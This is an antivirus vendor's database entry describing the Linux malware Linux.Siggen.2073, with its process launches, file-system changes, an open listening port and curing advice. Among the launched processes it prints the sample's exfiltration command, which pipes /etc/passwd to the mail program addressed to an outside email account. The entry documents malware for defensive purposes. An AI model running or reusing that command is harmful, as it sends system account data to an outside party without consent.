Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Siggen.2073

Added to the Dr.Web virus database: 2019-08-14

Virus description added:

Technical Information

Malicious functions:
Gains root privileges
Launches itself as a daemon
Launches processes:
  • sh -c cat /etc/passwd|mail -s 'syntax210.. 1535' elzorg@gmail.com
  • cat /etc/passwd
  • mail -s syntax210.. 1535 elzorg@gmail.com
  • /usr/sbin/sendmail send-mail -i -- elzorg@gmail.com
  • /usr/sbin/exim4 -Mc 1hxfZu-0000B9-CI
  • /usr/sbin/exim4 #-E1hxfZu-0000B9-CI
  • /usr/sbin/exim4 -Mc 1hxfZv-0000BE-Dq
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/exim4/input/1hxfZu-0000B9-CI-D
  • /var/spool/exim4/input/hdr.691
  • /var/spool/exim4/msglog/1hxfZu-0000B9-CI
  • /var/spool/exim4/input/1hxfZv-0000BE-Dq-D
  • /var/spool/exim4/input/hdr.696
  • /var/spool/exim4/input/hdr.693
  • /var/spool/exim4/msglog/1hxfZv-0000BE-Dq
  • /var/spool/exim4/input/1hxfZv-0000BE-Dq-J
  • /var/mail/user
Creates symlinks:
  • /var/mail/user.lock
Creates or modifies files:
  • /tmp/mail.RsXXXXxbpnxN
  • /tmp/mail.RsXXXXxbpnxN (deleted)
  • /tmp/mail.RsXXXXZykiWo
  • /tmp/mail.RsXXXXZykiWo (deleted)
  • /var/spool/exim4/input//1hxfZu-0000B9-CI-D
  • /var/spool/exim4/input/1hxfZu-0000B9-CI-D
  • /var/spool/exim4/input//hdr.691
  • /var/spool/exim4/input/hdr.691
  • /var/spool/exim4/msglog//1hxfZu-0000B9-CI
  • /var/spool/exim4/msglog/1hxfZu-0000B9-CI
  • /var/log/exim4/mainlog
  • /var/spool/exim4/db/retry.lockfile
  • /var/spool/exim4/input//1hxfZv-0000BE-Dq-D
  • /var/spool/exim4/input/1hxfZv-0000BE-Dq-D
  • /var/spool/exim4/input//hdr.696
  • /var/spool/exim4/input/hdr.696
  • /var/spool/exim4/msglog//1hxfZv-0000BE-Dq
  • /var/spool/exim4/msglog/1hxfZv-0000BE-Dq
  • /var/spool/exim4/input//hdr.693
  • /var/spool/exim4/input/hdr.693
  • /var/spool/exim4/input//1hxfZv-0000BE-Dq-J
  • /var/mail/user.lock.box-i386.5d533e10.000002bc
  • /var/mail/user
  • /var/spool/exim4/input/1hxfZv-0000BE-Dq-J
Deletes files:
  • /tmp/mail.RsXXXXxbpnxN
  • /tmp/mail.RsXXXXZykiWo
  • /var/spool/exim4/msglog//1hxfZu-0000B9-CI
  • /var/spool/exim4/input//1hxfZu-0000B9-CI-D
  • /var/spool/exim4/input//1hxfZu-0000B9-CI-H
  • /var/spool/exim4/input//1hxfZu-0000B9-CI-J
  • /var/mail/user.lock.box-i386.5d533e10.000002bc
  • /var/mail/user.lock
  • /var/spool/exim4/msglog//1hxfZv-0000BE-Dq
  • /var/spool/exim4/input//1hxfZv-0000BE-Dq-D
  • /var/spool/exim4/input//1hxfZv-0000BE-Dq-H
  • /var/spool/exim4/input//1hxfZv-0000BE-Dq-J
Network activity:
Awaits incoming connections on ports:
  • 0.0.0.0:1535
Establishes connection:
  • <LOCAL_DNS_SERVER>
DNS ASK:
  • bo##i386
Other:
Collects CPU information

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number